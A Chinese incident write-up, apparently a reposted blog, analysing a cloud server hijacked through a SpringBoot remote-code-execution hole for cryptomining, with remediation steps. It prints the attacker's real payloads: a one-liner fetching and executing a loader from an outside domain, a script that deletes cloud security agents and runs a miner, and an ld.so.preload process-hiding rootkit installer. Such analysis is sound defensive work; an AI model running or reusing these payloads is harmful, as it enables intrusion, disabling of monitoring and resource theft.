<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次服務器被入侵,沒想到我輕松搞定了它~

    VSole2022-06-10 06:42:09

    常在河邊走,哪能不濕鞋。自認為安全防范意識不錯,沒想到服務器被入侵挖礦的事情也能落到自己頭上。

    本文簡要記錄發現服務器被入侵挖礦的過程,同時分析木馬的痕跡和信息,最后給出解決方法。

    服務器被入侵挖礦過程

    事情經過

    昨天是周六,睡得比較晚。玩手機時忽然收到阿里云短信和郵件提醒,服務器有異常行為:

    一看郵件內容就知道不得了,趕緊打開電腦處理。

    首先用 netstat 命令查看端口,發現一個異常的端口,但不顯示程序名。這時心里已經很清楚,服務器上的Java程序被遠程執行代碼(RCE),也許還被植入了 rootkit。

    首要問題是保障業務正常可用,于是快速拉起另外一個實例,將業務遷移過去。接下來, 首先將被入侵服務器關機,然后一步步研究入侵過程,以及其在服務器上的行為。

    入侵行為分析

    根據郵件內容,一個 SpringBoot 應用被 getshell 并被執行遠程代碼。被執行的代碼語句 base64 解碼后為:

    python -c 'import urllib;exec urllib.urlopen("http://m.windowsupdatesupport.org/d/loader.py").read()
    

    將其下載,內容如下:

    import sysimport osfrom os.path import expanduserver=sys.version
    shs='''ps aux | grep -v grep | grep 'aegis' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'hids' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'cloudwalker' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'titanagent' | awk '{print $11}' | xargs  dirname  | xargs  rm -rfps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hids' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'edr' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'cloudwalker' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'titanagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'sgagent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'barad_agent' | awk '{print $2}' | xargs  -I {}  kill -9 {}ps aux | grep -v grep | grep 'hostguard' | awk '{print $2}' | xargs  -I {}  kill -9 {}
    rm -rf /usr/local/aegisrm -rf /usr/local/qcloudrm -rf /usr/local/hostguard/bin
    ps aux | grep -v grep | grep 'kworkers' | awk '{print $2}' | xargs  -I {}  kill -9 {}
    '''os.system(shs)domainroota="m.windowsupdatesupport.org"#domainroota="192.168.67.131"#$domainroota#curl  http://$domainroota/d/kworkers -o $gitdir/kworkershomedir=expanduser("~")gitdir=""try:    os.mkdir(homedir+"/.git")except Exception as e:    print(e)if os.path.isdir(homedir+"/.git"):    gitdir=homedir+"/.git"try:    os.mkdir("./.git")except Exception as e:    print(e)if os.path.isdir("./.git"):    gitdir="./.git"downloadu="http://{}/d/kworkers".format(domainroota)if ver.startswith("3"):    import urllib.request    with urllib.request.urlopen(downloadu) as f:        html = f.read()        open(gitdir + "/kworkers", 'wb').write(html)else:    import urllib2    with open(gitdir + "/kworkers", 'wb') as f:        f.write(urllib2.urlopen("http://{}/d/kworkers".format(domainroota)).read())        f.close()print ("Download Complete!")os.system("chmod 777 "+gitdir+"/kworkers")if os.path.isfile('/.dockerenv'):    os.system(gitdir+"/kworkers")else:    os.system("nohup {}/kworkers >>{}/.log&".format(gitdir,gitdir))
    

    遠程代碼主要做了這些事情:

    1. 卸載服務器上的安全監控工具;事后開機,發現阿里云盾果然被卸載了
    2. 關掉所有kworkers進程;
    3. 在當前目錄下創建 .git 目錄,下載并執行 kworkers 程序。

    上網搜了一下 kworkers,發現是挖礦應用,并非加密勒索等木馬,心里稍微安心一點。通過阿里云后臺監控,可以看到木馬入侵后,短時間內cpu占用率飆升(本人處理及時,木馬挖礦時間大概持續5分鐘左右):

    服務器殘留痕跡

    大概知道了木馬的行為,接著重啟服務器,查看服務器上的痕跡。

    1、查看有無添加定時任務:

    # crontab -l0 2 * * * /xxx/.git/kworkers
    

    木馬添加了定時啟動任務。

    2、進入木馬主目錄,發現下載了如下文件:

    此外,上層目錄和家目錄還多了 cert_key.pemcert.pem 兩個文件,分別存放公鑰和密鑰。

    3、查看木馬留下的日志,有如下內容:

    /xxx/.git/xxx/.gitworking dir /xxx from pid 23684version not exist downloadDownloaded: http://m.windowsupdatesupport.org/d/downloadversion not exist dbusDownloaded: http://m.windowsupdatesupport.org/d/dbusversion not exist hideproc.shDownloaded: http://m.windowsupdatesupport.org/d/hideproc.sherror exit status 1version not exist sshkey.shDownloaded: http://m.windowsupdatesupport.org/d/sshkey.shversion not exist autoupdateDownloaded: http://m.windowsupdatesupport.org/d/autoupdateversion not exist kworkersKey path not found/xxx/.gitpassfound  protectedpassfound  providedpassfound  +clientpassfound  +clientpassfound  protectedpassfound  providedpassfound  qualitypassfound  (pluspassfound  (digits,passfound  promptfound aksk xxxx xxxxfound aksk xxxx xxxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxpassfound  xxxlstat /proc/7776/fd/3: no such file or directorylstat /proc/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7776/fd/3: no such file or directorylstat /proc/7776/task/7776/fdinfo/3: no such file or directorylstat /proc/7776/task/7777/fd/3: no such file or directorylstat /proc/7776/task/7777/fdinfo/3: no such file or directorylstat /proc/7776/task/7778/fd/3: no such file or directorylstat /proc/7776/task/7778/fdinfo/3: no such file or directorylstat /proc/7776/task/7779/fd/3: no such file or directorylstat /proc/7776/task/7779/fdinfo/3: no such file or directorylstat /proc/7776/task/7780/fd/3: no such file or directorylstat /proc/7776/task/7780/fdinfo/3: no such file or directorylstat /proc/7776/task/7781/fd/3: no such file or directorylstat /proc/7776/task/7781/fdinfo/3: no such file or directorylstat /proc/7776/task/7782/fd/3: no such file or directorylstat /proc/7776/task/7782/fdinfo/3: no such file or directorylstat /proc/7776/task/7783/fd/3: no such file or directorylstat /proc/7776/task/7783/fdinfo/3: no such file or directoryrestart cmd  /xxx/.git/kworkers/xxx/.gitpassfound  file,passfound  settingspassfound  file.passfound  callbackspassfound  Callbackpassfound  examplepassfound  promptpassfound  passwordpassfound  informationpassfound  tokenpassfound  tokenpassfound  tokenpassfound  Passwordpassfound  passwordpassfound  passwordpassfound  -basedpassfound  Passwordpassfound  (usingpassfound  field>passfound  retrypassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  foobarpassfound  passwordpassfound  passwordpassfound  foobarpassfound  foobarpassfound  secretrtotal passwords 25xxx.xxx.xxx.xxxlan ipdoscan range  xxx.xxx.0.0/16ping...Receive 24 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 time=496.309μsworking dir /xxx from pid 7792Receive 24 bytes from xxx.xxx.xxx: icmp_seq=0 time=257.973μsxxx.xxx.xxx is alivexxx.xxx.xxx is alivexxx.xxx.xxx:80  openxxx.xxx0xxx:443  openversion  same downloadversion  same dbusrestart dbusexec again dbus downrunkill process pid 23709
    process completedversion  same hideproc.shskip restart hideproc.shversion  same sshkey.shskip restart sshkey.shversion  same autoupdateskip restart autoupdateversion  same kworkersKey path not found
    

    根據日志,主要是下載程序,檢測用戶名和密碼,探測內網,然后啟動自動更新、隱藏進程等程序。

    1. hideproc.sh 感興趣,其內容為:
    if [ "$EUID" -ne 0 ]  then echo "Please run as root"else  if [ `grep libc2.28 /etc/ld.so.preload`  ]  then echo "hideproc already done!!"  else    apt-get update -y    apt-get install build-essential -y    yum check-update    yum install build-essential -y    dnf groupinstall "Development Tools" -y    yum group install "Development Tools"  -y    curl http://m.windowsupdatesupport.org/d/processhider.c -o  processhider.c
        gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl    mv libc2.28.so /usr/local/lib/ -f    grep libc2.28 /etc/ld.so.preload  || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload    rm -f processhider.c    ls >/tmp/.1  2>&1    grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload  fifi
    

    其首先檢測是否root用戶,然后編譯 libc2 共享庫,注入隱藏進程的代碼。這應該是用netstat無法查看到進程名的原因。

    5、查看訪問日志,發現期間有個IP對服務器進行爆破:

    其他信息

    除了上述文件,/tmp文件夾下還生成了.1和.1.sh文件;

    查詢可疑ip,位于國內北京市,應該是肉雞;

    查詢木馬下載域名 windowsupdatesupport.org,今年6月注冊,解析ip都在國外。該域名很有混淆性,并且為了方便直接用http訪問;

    除了下載木馬文件挖礦,未改變服務器上的其他數據。

    服務器被入侵挖礦解決辦法

    雖然知道是 SpringBoot 應用觸發了 RCE,但遺憾目前仍未找到是哪個包導致的漏洞。目前采取的緩解措施為:

    1、被入侵服務器重裝系統;

    2、使用非 root 用戶啟動 SpringBoot 應用;

    3、被入侵的是子系統,增加基本授權:

    apt install -y apache2-utilshtpasswd /etc/nginx/conf.d/.htpasswd user
    

    然后配置 Nginx 使用認證信息:

    server {  ...  auth_basic  "子系統鑒權:";  auth_basic_user_file /etc/nginx/conf.d/.htpasswd;  ..}
    

    4、防火墻限制對外連接。

    上述錯誤能一定程度上避免類似情況再次發生,但找到應用程序中的漏洞才是接下來的重點。

    總結

    幸運的是這次來的是挖礦木馬,服務器上的程序和數據都未受影響。也很感謝阿里云免費的安全提醒,讓我在第一時間處理。

    但這次事故也敲醒了警鐘:

    1. 不要隨意用 root 權限運行程序;
    2. 防火墻權限要嚴格收緊;
    3. 做好安全監控;
    4. 時刻做好數據備份。
    awk命令xargs
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Linux命令xargs命令
    2022-04-14 06:59:54
    xargs 可以將 stdin 中以空格或換行符進行分隔的數據,形成以空格分隔的參數(arguments),傳遞給其他命令。因為以空格作為分隔符,所以有一些文件名或者其他意義的字符串內含有空格的時候,xargs 可能會誤判。簡單來說,xargs 的作用是給其他命令傳遞參數,是構建單行命令的重要組件之一。 之所以要用到 xargs,是因為很多命令不支持使用管道 | 來傳遞參數,例如:
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    雖然平時大部分工作都是和Java相關的開發, 但是每天都會接觸Linux系統, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行環境中. 自己記憶力不好, 很多有用的Linux命令不能很好的記憶, 現在逐漸總結一下, 以便后續查看。
    推薦值得收藏 40 個命令總結,助你效率提升多倍
    1、查找當前目錄下所有以.tar結尾的文件然后移動到指定目錄: find . -name “*.tar” -exec mv {}./backup/ ; 注解:find –name 主要用于查找某個文件名字,-exec 、xargs可以用來承接前面的結果,然后將要執行的動作,一般跟find在一起用的很多,find使用我們可以延伸-mtime查找修改時間、-type是指定對象類型(常見包括f代表文件
    獲取hackerone的范圍資產和一些提高信息收集效率的一些命令
    最全Linux命令總結
    今天,給小伙伴們帶來一篇 Linux 命令總結的非常全的文章,也是我們平時工作中使用率非常高的操作命令,命令有點多,建議小伙伴們可以先收藏后閱讀。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类